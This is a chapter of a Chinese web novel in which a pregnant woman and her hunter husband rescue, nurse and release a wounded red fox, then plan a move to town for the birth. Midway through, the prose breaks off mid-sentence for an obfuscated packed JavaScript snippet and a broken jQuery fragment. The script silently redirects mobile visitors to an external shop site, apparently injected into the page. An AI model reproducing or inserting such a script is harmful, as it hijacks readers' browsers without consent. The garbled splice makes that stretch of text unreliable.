腊月的风像刀子，割在脸上生疼。
回程路快到尽头时，雪地里，一团火红跌跌撞撞地蹿了出来。
那是只赤狐。
小狐狸个头不大，毛色倒是漂亮，红得像烧红的炭火。但它跑得不对，那后腿拖在地上，身子歪歪斜斜的，每蹿一步都像是用尽了力气。
等它又蹿了两步，二丫才看清，那狐狸的侧腹上直愣愣地插着一支箭，箭羽在风里抖着，伤口渗出的血把周围的皮毛洇成了暗褐色。
那箭的尾羽是雉鸡翎，缠着红绳，是呼家村猎户们的手法。
狐狸也看见了他们。
小家伙浑身一僵地停下来，乌溜溜的眼中全是惊恐，本能地就掉头想跑。
可它伤腿又吃不住劲，于是就刚蹿出去几步就一个趔趄，在雪地里滚了半圈，然后又爬起来……
呼金豹看见猎物，此时已经本能地跳下了车，反手从车板上抽出猎弓。
“算了吧。”二丫忙按住了他的胳膊。
“狐狸还小，咱回家要紧。”
眼看这猎物硬是拖着伤体，钻进了路边的灌木丛里，簌簌的响动越来越远，最后没了声。
呼金豹回头看了她一眼。
二丫声音不大，但手上的劲儿却不小，竟也按的他胳膊动弹不得。他犹豫了一下，看了看她护着肚子的那只手，到底没再说什么，把弓收了。
“行吧。”
牛车就又慢悠悠地走起来。
二丫回头看了一眼那片枯黄的灌木丛，总觉得那团红色还在眼底晃，但她没说出来，只把棉被往身上又拢了拢。
转了两道弯，山路更窄了。
呼金豹忽然又一脸喜色地拍拍二丫，勒住了牛车。
二丫定睛一瞧，却见路边的雪地里，正蜷着一团红，还是先前那只狐狸。
它倒在雪窝子里，半边身子陷在雪中，呼出的白气又浅又急。听见牛车的声音，它抬起头，那对眼珠子直直地望着车上的人，瞳孔因为恐惧缩成了两个小黑点。
它的前爪动了动，像是想跑，但后腿只是无力地在雪里蹬了两下，连站起来的力气都没了。
跑不动了。
二丫看着那双眼睛，心里忽然被什么东西撞了一下。
她说不上来那是什么感觉，但她看出来了，这狐狸的眼睛和别的畜生不一样，不光是害怕，还像是……在向她求救。
也许是怀了孕的人心软，也许是想到了自己那些被欺负的曾经，二丫把棉被掀开，扶着车板就要往下跳。
“你又干啥？”呼金豹赶紧去扶她。
“把它抱上来。”
“啊？”呼金豹以为自己听错了，“那是只狐狸，又不是猫——它身上还插着箭呢，你抱它，它咬你一口算谁的？”
“你看它那样，还咬得动人吗？”
呼金豹顺着她的目光看过去。那只狐狸蜷在雪里，只剩下发抖的份了，嘴边的雪都被它急促的呼吸吹化了。别说咬人，看那样子，再不救怕是连今晚都熬不过去。
“我去，你别动。”他叹了口气，把鞭子往车上一搁，跳下车去。
狐狸看见壮汉朝自己走过来，全身的毛都炸了起来，喉咙里发出呜呜的低吼，像是警告，又像是哀鸣。它挣扎着想爬起来，可刚撑起半个身子就又栽了回去，伤口扯开，又渗出一股血来，疼得它浑身都在抖。
呼金豹在它跟前蹲下来，盯着它看了两眼。
“还挺倔。”
他没急着上手，而是先把双手摊开，让它看清楚自己手里没拿家伙。然后才慢慢伸手过去。
狐狸还在发抖，但那呜呜声渐渐小了。
呼金豹是猎户，对待受伤的畜生有经验。他没直接去抱，而是先按住它的后颈，力道不轻不重，让它动弹不得但又不至于难受。另一只手则托住它的肚子，避开那支箭，稳稳当当地把它从雪窝子里捞了起来。
狐狸全身僵得像块木头，却到底没有咬他。
等呼金豹把它抱到车上，二丫才看清那支箭。箭镞没入侧腹，不知道扎了多深，伤口周围的皮毛已经被血和雪水糊成了一团，看着触目惊心。狐狸瘫在她脚边，胸口的起伏又浅又急，那双眼睛半阖着，眼底的光一点一点暗下去。
“这是只公的，能杀。”呼金豹还是想宰了它。
二丫没答话，只是伸手去摸小狐狸的鼻头，又湿又凉。
“先回家吧，我瞧它好看，不想它死。”她说。
二丫都这么说了，呼金豹也只得叹气。
……
到家的时候天已经擦黑了。
赵兰听见牛车声迎出来，看见二丫怀里抱只血淋淋的赤狐，顿时也啧啧称奇，直说这皮毛不错，鲜亮。
“有热水吗大嫂？这不是猎物，是路上捡的，看它可怜，想救一下。”二丫跟赵兰简单解释了一下，就抱着狐狸回了自家院子。
呼金豹停好牛车进来，对着爹娘摆了摆手，意思是待会儿再说。他也掀帘子跟进屋，看见二丫已经把狐狸放在炕上，正借着油灯的光看那支箭。
“拔的时候它肯定要挣扎，我按着它，你来拔。”
呼金豹走过去，一只手按住狐狸的前半身，另一只手把它的嘴捏住了。狐狸像是知道要发生什么，浑身绷得紧紧的，那对眼睛瞪得溜圆，死死盯着二丫的手。
二丫握住箭杆，深吸一口气，手腕一沉，猛地往上提。
箭镞带着一蓬血花拔了出来。
狐狸发出一声尖利的惨叫，整个身子弹起来，又重重摔回炕上。呼金豹死死按着它，手上的青筋都暴起来了。那狐狸张着嘴，露出细密的牙齿，却没有咬人，只是剧烈地喘着，浑身痉挛，后腿无意识地蹬了两下。
“血止不住。”二丫用手掌死死压住伤口，温热的液体从她指缝间往外渗。赵兰端了热水进来，看见炕上的血，觉得二丫瞎折腾，但也没说什么扫兴的话，放下盆子就又帮着去找干净的布条了。
二丫把她自己平时舍不得用的止血药粉也撒上去了，那还是她从娘家带过来的，大丫给她的。她本想着留着生孩子时用，唉。
这药粉沾到伤口，狐狸又一阵抽搐，但到底没再挣。等血慢慢止住了，她就在呼金豹指挥下，用布条一圈一圈地把伤口裹好，裹得又紧又平整。
整个过程，她手法出奇地稳当。
赵兰在旁边看着全程，虽说觉得二丫折腾了些，但这说起来也不算什么大事，看事情弄完，她也就咳嗽一声，转身走了。
夜色浓了。
炕烧得暖暖的，那只狐狸蜷在炕尾的旧褥子上，身上的毛还是湿的，但在热气里慢慢蓬松起来。它没睡，一双眼睛在黑夜里亮晶晶的，不知道在看着什么。
二丫躺在炕上，手还放在狐狸的背上。她能感觉到那具小小的身体一直在微微发抖，分不清是冷的，还是疼的，还是怕的。
她轻轻摸了摸那身红毛。
“睡吧。”她说。
狐狸的耳朵转了转，过了很久，终于把脑袋埋进了前爪里。
狐狸在呼家住了九日。
头三天，它趴在炕角一动不动，只偶尔睁开眼睛，警惕地打量着这个陌生的地方。二丫拿菜汤拌了点粟米粥放在它嘴边，它不吃，等人走了，才悄悄地舔上两口，听见脚步声又立刻缩回去。
呼金豹每次进屋，它就把脑袋埋进爪子里，装死。呼金豹觉得好笑，故意在炕边多站一会儿，那狐狸就装得更像了——连呼吸都压得极轻，只有耳朵尖在微微颤动，暴露
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17781858|209992||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
了它的紧张。
第四天，它能站起来了。
二丫推开屋门，正撞见它用三条腿在炕上蹦，大概是想去够窗台上晒着的半条腊肉。一人一狐四目相对，狐狸僵了一瞬，然后若无其事地又蹦回了炕角，把脸扭到一边，一副“什么都没发生”的样子。
二丫笑了一声，没拆穿它。
第七天，它能四脚着地慢慢走了。
这天傍晚，呼金豹从外面回来，一推门就看见那只狐狸正把脑袋拱在二丫手底下，眯着眼睛，让二丫给它挠耳朵根。尾巴还在炕上一甩一甩的，惬意得很。
听见门响，狐狸倏地弹起来，钻进炕角的被子里，只露出一条火红的尾巴。
呼金豹把猎弓挂在墙上，嘟囔了一句：“这是捡回来个祖宗。”
第九天早上，二丫醒来的时候，炕角空着。
那团红色不见了。
她在屋里找了一圈，又去院子里看了看，最后在院墙根的雪地上看见一行浅浅的爪印，通向后山的方向。爪印很整齐，不像是被人追的，倒像是自己走的。
二丫站在院门口看了很久，直到赵大嫂喊她吃早饭，才转回身来。
“走了？”赵兰问。
“走了。”
“也正常，这东西就是养不熟的。”
二丫没有说话。
她想起那只狐狸在炕上甩尾巴的样子，想起它把脑袋拱进她手心里的温度，想起它听见脚步声就藏起来的狼狈。
养不熟吗？她倒不这么觉得。
她觉得是自己她养不起它。毕竟狐狸是吃肉的，可她只能喂它吃野菜谷物……
……
后来有一次，二丫去后山捡柴火，走到半山腰，总觉得有什么东西在看着自己。
她回过头，雪地上空荡荡的，只有风刮过树梢的声响。她没再找，蹲下捡了几根枯枝，抱在怀里往回走。
走了几步，又停下。
她弯下腰，把怀里抱着的枯枝放到一边，腾出手来，从怀里摸出一块过年时自己做的肉干，放在路边的石头上。
然后站起来，头也不回地走了。
风吹过山林，松枝上的积雪簌簌地往下掉。
石头上的肉干不见了。
谁也没瞧见，雪地里的爪印比来的时候多了那么一串，却又被风抹平了，干干净净，像是从没来过一样。
……
这事就像一颗石子投进湖里，激起一圈涟漪，很快就散了，日子该怎么过还得怎么过。
呼金豹和二丫的心思，也渐渐从那只火红的狐狸身上，转到了另一件更紧要的事情上。
二丫的肚子一天比一天大了。
夜里呼金豹把手掌贴在她肚皮上，能感觉到里头有个小东西在蹬腿，一下一下的，像是急着要出来。他心里又是欢喜又是愁。
欢喜的是要当爹了，愁的是村里的稳婆实在让他不放心。
上回张婶生孩子的事他也听说过，那血流了一地，满屋子都是腥味，张婶的身体打那以后就没好起来过，眼看就没两年好活了……
……
“等开了春，咱们去县城租个院子。”夜里躺在炕上，呼金豹忽然说了这么一句。
二丫侧过脸看他。窗外的雪光映进来，照得他那张黝黑的脸上有一层淡淡的光。她知道他说的“开了春”不是一时兴起——他是真的在盘算这件事了。
“县城租房子得不少银子吧？”她说。
“我多打几张皮子就是了。”呼金豹把被子往她那边掖了掖，“县城的稳婆比村里的强，万一有个什么，边上还有药铺。我不能让你冒这个险。”
他说得平平淡淡的，像是在说“明天上山砍柴”一样寻常。让二丫心里暖了暖。